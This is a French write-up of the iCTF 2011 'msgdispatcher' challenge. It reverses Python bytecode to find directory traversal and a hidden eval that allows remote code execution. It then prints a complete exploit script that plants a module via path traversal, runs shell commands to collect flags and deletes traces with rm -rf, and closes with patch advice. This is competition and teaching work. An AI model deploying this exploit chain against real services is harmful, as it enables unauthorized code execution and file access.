iCTF 2011 > Msgdispatcher service
Le service msgdispatcher était un exécutable python 2.6, compilé. Pour une raison que j'ignore, les différents services de décompilation échouent sur cet exécutable. Il était donc nécessaire d'introspecter l'exécutable et de faire un peu de reverse sur le bytecode python désassemblé.
En python, la fonction built-in dir() permet de connaître tous les noms globaux attachés à n'importe quel objet :
$ PYTHONPATH=$PATH:. python2.6 >>> mod = __import__("msgdispatcher") >>> dir(mod) ['COMMAND_DIR', 'ClientManager', 'EMAIL_AGGREGATOR_HOST', 'EMAIL_AGGREGATOR_PORT', 'ERRPARAMS', 'ERRSOCKET', 'MESSAGE_DIR', 'MYSQL_DB', 'MYSQL_HOST', 'MYSQL_PASSWORD', 'MYSQL_USER', 'MySQLdb', 'SMS_AGGREGATOR_HOST', 'SMS_AGGREGATOR_PORT', 'Usage', '__builtins__', '__doc__', '__file__', '__name__', '__package__', 'binascii', 'cleanup', 'debug', 'extend', 'getText', 'getopt', 'libs', 'logging', 'main', 'os', 'random', 'select', 'signal', 'socket', 'start', 'string', 'struct', 'sys', 'threading', 'usage', 'xml'] >>> mod.COMMAND_DIR '/home/msgdispatcher/commands' >>> mod.MESSAGE_DIR '/home/msgdispatcher/messages' >>> dir(mod.ClientManager) ['_Thread__bootstrap', '_Thread__bootstrap_inner', '_Thread__delete', '_Thread__exc_clear', '_Thread__exc_info', '_Thread__initialized', '_Thread__stop', '__class__', '__delattr__', '__dict__', '__doc__', '__format__', '__getattribute__', '__hash__', '__init__', '__module__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__weakref__', '_note', '_set_daemon', '_set_ident', 'daemon', 'getName', 'ident', 'isAlive', 'isDaemon', 'is_alive', 'join', 'name', 'run', 'setDaemon', 'setName', 'start']
On voit donc que ce module a un tas de variables globales. Parmi les deux plus intéressantes, COMMAND_DIR et MESSAGE_DIR. On se rend compte aussi que le module doit se connecter aux autres services smsgateway et mailgateway (via SMS_AGGREGATOR_* et MAIL_AGGREGATOR_*). On trouve aussi les identifiants de connexion de l'utilisateur mulemanager à la base de données MySQL.
Une autre classe paraît particulièrement intéressante, puisque nous avons affaire à un serveur TCP. On voit que c'est une extension de la classe Thread, probablement spawné à chaque connexion. Le module dis nous permet d'inspecter le bytecode de sa méthode run() :
>>> dis.dis(mod.ClientManager.run) 0 LOAD_GLOBAL 0 (debug) 3 JUMP_IF_FALSE 33 (to 39) 6 POP_TOP 7 LOAD_FAST 0 (self) 10 LOAD_ATTR 1 (logger) 13 LOAD_ATTR 0 (debug) 16 LOAD_CONST 1 ('Thread manages client %s') 19 LOAD_GLOBAL 2 (str) 22 LOAD_FAST 0 (self) 25 LOAD_ATTR 3 (address) 28 CALL_FUNCTION 1 31 BINARY_MODULO 32 CALL_FUNCTION 1 35 POP_TOP 36 JUMP_FORWARD 1 (to 40) [...]
Comme on le voit, le bytecode désassemblé est très lisible pour quiconque connait le python. Par exemple, le bout de code précédent équivaut à :
if debug: self.logger.debug("Thread manages client %s"% str(self.address))
Les instructions de branchement sont également très claires, comme on le voit avec le JUMP_IF_FALSE ou le JUMP_FORWARD. En allant un peu plus loin dans le reverse, on voit que ce service a deux commandes, STATUS et SEND. STATUS lit un fichier dans MESSAGE_DIR et renvoie son contenu. SEND prend un message dans un format XML (le même que celui utilisé par sendmessage de muleadmin). De ce message, il extrait un groupe d'utilisateurs de la base de données et leur envoie SMS ou mail via deux autres services locaux smsgateway et mailgateway. tout au long de ce processus, il écrit dans MESSAGE_DIR le statut du traitement du message.
On lit d'abord rapidement le petit code de STATUS :
LOAD_FAST 3 (words) LOAD_CONST 4 (1) BINARY_SUBSCR STORE_FAST 4 (ident) LOAD_GLOBAL 11 (open) LOAD_CONST 5 ('%s/%s') LOAD_GLOBAL 12 (MESSAGE_DIR) LOAD_FAST 4 (ident) BUILD_TUPLE 2 BINARY_MODULO LOAD_CONST 6 ('r') CALL_FUNCTION 2 STORE_FAST 5 (f)
Ce qui équivaut à :
ident = words[1] f = open("%s/%s"% (MESSAGE_DIR, ident), "r")
La liste word n'est autre que la première ligne reçue, stripée du '\n' et splitée. Le contenu de ce fichier est ensuite lu et renvoyé intégralement. Il est donc possible de lire n'importe quel fichier du système via directory traversal.
Etant données toutes les opérations que fait la commande SEND, le reverse est bien plus long. Voici les bouts de code qui m'ont paru intéressants :
LOAD_FAST 3 (words) LOAD_CONST 4 (1) BINARY_SUBSCR STORE_FAST 4 (ident) LOAD_FAST 3 (words) LOAD_CONST 8 (2) BINARY_SUBSCR STORE_FAST 7 (delim) [...] # buf = received bytes until a line containing delim only LOAD_GLOBAL 11 (open) LOAD_CONST 5 ('%s/%s') LOAD_GLOBAL 12 (MESSAGE_DIR) LOAD_FAST 4 (ident) BUILD_TUPLE 2 BINARY_MODULO LOAD_CONST 13 ('w+') CALL_FUNCTION 2 STORE_FAST 5 (f) LOAD_FAST 5 (f) LOAD_ATTR 18 (write) LOAD_CONST 14 ('#RECEIVED\n') CALL_FUNCTION 1 POP_TOP [...] # doc = buf parsed by xml.minidom module POP_TOP LOAD_GLOBAL 25 (getText) LOAD_FAST 10 (doc) LOAD_ATTR 24 (getElementsByTagName) LOAD_CONST 17 ('subject') CALL_FUNCTION 1 LOAD_CONST 2 (0) BINARY_SUBSCR LOAD_ATTR 26 (childNodes) CALL_FUNCTION 1 STORE_FAST 12 (subject) [...] # other parsed variables: msgtime, sender, group, msgbody LOAD_GLOBAL 11 (open) LOAD_CONST 5 ('%s/%s') LOAD_GLOBAL 12 (MESSAGE_DIR) LOAD_FAST 4 (ident) BUILD_TUPLE 2 BINARY_MODULO LOAD_CONST 26 ('a+') CALL_FUNCTION 2 STORE_FAST 5 (f) LOAD_FAST 5 (f) LOAD_ATTR 18 (write) LOAD_CONST 27 ('#PARSED %s\n') LOAD_FAST 14 (subject) BINARY_MODULO CALL_FUNCTION 1 POP_TOP LOAD_FAST 5 (f) LOAD_ATTR 15 (close) CALL_FUNCTION 0 POP_TOP LOAD_GLOBAL 27 (MySQLdb) LOAD_ATTR 28 (connect) LOAD_GLOBAL 29 (MYSQL_HOST) LOAD_GLOBAL 30 (MYSQL_USER) LOAD_GLOBAL 31 (MYSQL_PASSWORD) LOAD_GLOBAL 32 (MYSQL_DB) CALL_FUNCTION 4 STORE_FAST 16 (conn) LOAD_FAST 16 (conn) LOAD_ATTR 33 (cursor) CALL_FUNCTION 0 STORE_FAST 17 (cursor) LOAD_FAST 17 (cursor) LOAD_ATTR 34 (execute) LOAD_CONST 28 ('SELECT username FROM groups_users WHERE groupname = %s') LOAD_FAST 13 (group) BUILD_LIST 1 CALL_FUNCTION 2 POP_TOP LOAD_FAST 17 (cursor) LOAD_ATTR 35 (fetchall) CALL_FUNCTION 0 STORE_FAST 18 (users) [...] LOAD_FAST 18 (users) LOAD_GLOBAL 23 (len) LOAD_FAST 18 (users) CALL_FUNCTION 1 LOAD_CONST 2 (0) COMPARE_OP 2 (==) JUMP_IF_FALSE 50 (to 1309) [...] LOAD_CONST 0 (None) 1308 RETURN_VALUE
En code un peu plus lisible, ça nous donne :
ident = words[1] delim = words[2] [...] # buf = received bytes until a line containing delim only f = open("%s/%s"% (MESSAGE_DIR, ident), "w+") f.write("#RECEIVED\n") [...] # doc = buf parsed by xml.minidom module subject = getText(doc.getElementsByTagName("subject")[0].childNodes) [...] # other parsed variables: msgtime, sender, group, msgbody f = open("%s/%s"% (MESSAGE_DIR, ident), "w+") f.write("#PARSED %s\n"% (subject)) f.close() conn = MySQLdb.connect(MYSQL_HOST, MYSQL_USER, MYSQL_PASSWORD, MYSQL_DB) cursor = conn.cursor() cursor.execute("SELECT username FROM groups_users WHERE groupname = %s"% group) users = cursor.fetchall() [...] if len(users) == 0: [...] return [...]
Pourquoi ce bout de code est intéressant ? En premer lieu parce qu'on y retrouve un directory traversal possible, mais cette fois sur un fichier en écriture. En deuxième lieu car on peut écrire exactement ce que lon veut dans ce fichier, modulo les #RECEIVED et #PARSED. En effet, en passant un groupe non existant, on termine la fonction juste après l'écriture du #PARSED, suivi du sujet que nous fournissons. Comme ce sujet est une simple prise de texte entre deux balises XML, il peut notamment contenir des \n.
Pouvant lire et écrire relativement librement sur le FS, on peut déjà envisager pas mal de choses. L'idéal serait de pouvoir exécuter ce que l'on a déjà pu injecter :
LOAD_FAST 3 (words) LOAD_CONST 2 (0) BINARY_SUBSCR LOAD_CONST 7 ('SEND') COMPARE_OP 2 (==) JUMP_IF_FALSE 2787 (to 3002) [...] 3002 POP_TOP SETUP_EXCEPT 14 (to 3020) LOAD_GLOBAL 53 (eval) LOAD_GLOBAL 54 (extend) [...]
Dans le cas où la commande n'est pas reconnue, on a un eval(extend) qui mets la puce à l'oreille.
>>> mod.extend 'libs.cleanup(COMMAND_DIR, words)'
On a donc l'utilisation de la fonction cleanup d'un autre module a priori inconnu, qu'on trouve ensuite dans /usr/local/bin/libs.pyc :
>>> import libs >>> dir(libs) ['KOOL', 'T', '_', '__builtins__', '__doc__', '__file__', '__name__', '__package__', 'a', 'b', 'c', 'cleanup', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'o', 'old_err', 'sys', 'x', 'y', 'z'] >>> dis.dis(libs.cleanup) [...] LOAD_GLOBAL 0 (old_err) LOAD_ATTR 1 (b) LOAD_CONST 1 (0) BINARY_SUBSCR LOAD_ATTR 2 (strip) CALL_FUNCTION 0 LOAD_ATTR 3 (replace) LOAD_CONST 2 ('t_') LOAD_CONST 3 ('t__') CALL_FUNCTION 2 LOAD_ATTR 3 (replace) LOAD_CONST 4 ('msgdispatcher.') LOAD_CONST 5 ('') CALL_FUNCTION 2 LOAD_ATTR 3 (replace) LOAD_CONST 6 ('nds.') LOAD_CONST 7 ('nd.') CALL_FUNCTION 2 LOAD_ATTR 3 (replace) LOAD_CONST 8 (']); mod') LOAD_CONST 9 (']).__getattribute__(word[0])') CALL_FUNCTION 2 LOAD_ATTR 4 (split) LOAD_CONST 10 (';') CALL_FUNCTION 1 GET_ITER 86 FOR_ITER 104 (to 193) STORE_FAST 2 (e) LOAD_FAST 0 (COMMAND_DIR) LOAD_ATTR 3 (replace) LOAD_CONST 11 ('commands') LOAD_CONST 5 ('') CALL_FUNCTION 2 STORE_FAST 0 (COMMAND_DIR) LOAD_GLOBAL 5 (_) LOAD_FAST 2 (e) [...]
Heureusement, la fonction est assez simple à reverser, sinon je pense que j'aurais commencé à perdre la foi. Cette fonction prend une des variables globales du module et effectue quelques replace() simple dessus. Ensuite, elle split le résultat et applique la fonction '_' sur chacun des splits. On cherche donc les quelques maillons manquants :
>>> libs.old_err.b ['sys.path.append(COMMAND_DIR); __import_("msgdispatcher.commands.%s" % word[0]); mod.run()'] >>> libs.old_err.b[0].replace("t_", "t__").replace("msgdispatcher.", "").replace("nds.", "nd.").replace("]); mod", "]).__getattribute__(word[0])").split(";") ['sys.path.append(COMMAND_DIR)', ' __import__("command.%s" % word[0]).__getattribute__(word[0]).run()'] >>> libs._ <built-in function eval> >>> mod.COMMAND_DIR.replace("commands", "") '/home/msgdispatcher/'
On obtient donc le dernier élément que l'on cherchait intimement : l'exécution de la méthode run() d'un module de /home/msgdispatcher/command.
Avec tous ces éléments, il y a beaucoup de possibilités d'exploitation. En restant dans l'optique CTF, on cherche donc à trouver les flags dans MESSAGE_DIR:
#!/usr/bin/python import socket import sys import string import random # generate random strings def random_string(size_max, chars=string.ascii_uppercase + string.digits + string.ascii_lowercase, fixed_size=0): if fixed_size == 1: sz = size_max else: sz = random.choice(range(size_max)) if sz == 0: sz=1 return ''.join(random.choice(chars) for x in range(sz)) def sendAndRcv(payload): sock = socket.socket() sock.connect((sys.argv[1], 31337)) sock.send(payload) rcvd="" while 1: c = sock.recv(1) if len(c) == 0: break rcvd += c return rcvd delim=random_string(100) module_name=random_string(34) filename="IaehAE9TR8kAEKdd" # Executed when exploit is triggered script = """ def run(): import os os.system("grep -h flg /home/msgdispatcher/messages/* " + chr(62) + "/home/msgdispatcher/messages/%s 2" + chr(62) + chr(38) + "1") os.system("rm -rf /home/msgdispatcher/command/%s* " + chr(62) + "/dev/null 2" + chr(62) + chr(38) + "1") return """% (filename, module_name) # Payload for script creation payload="""SEND ../command/%s.py %s <msg> <time>2012-01-16 02:47:29</time> <sender>jdoe</sender> <group>%s</group> <subject>%s</subject> <msgbody>sd</msgbody> </msg> %s """% (module_name, delim, random_string(25), script, delim) # Create script sendAndRcv(payload) # Execute script sendAndRcv("%s\n"% module_name) # Get script output print sendAndRcv("STATUS %s\n"% filename)
Pas si facile à patcher cette fois, le plus simple reste de patcher avec un proxy applicatif un regexp sur le premier argument de commandes SEND et STATUS, n'autorisant que les alphanumériques, " ", "." et "_". Ceci enlèverait la possibilité de directory traversal qui reste la clé de voute car utilisée pour la création du script et la lecture du résultat (même s'il n'y en avait pas besoin pour la lecture, en particulier en conjonction avec les nombreux services qui peuvent lire dans le /tmp par exemple).
Un hotfix de l'exécutable facile à faire serait de modifier COMMAND_DIR vers un répertoire non-existant afin de supprimer la fonctionnalité du cleanup.
tres bien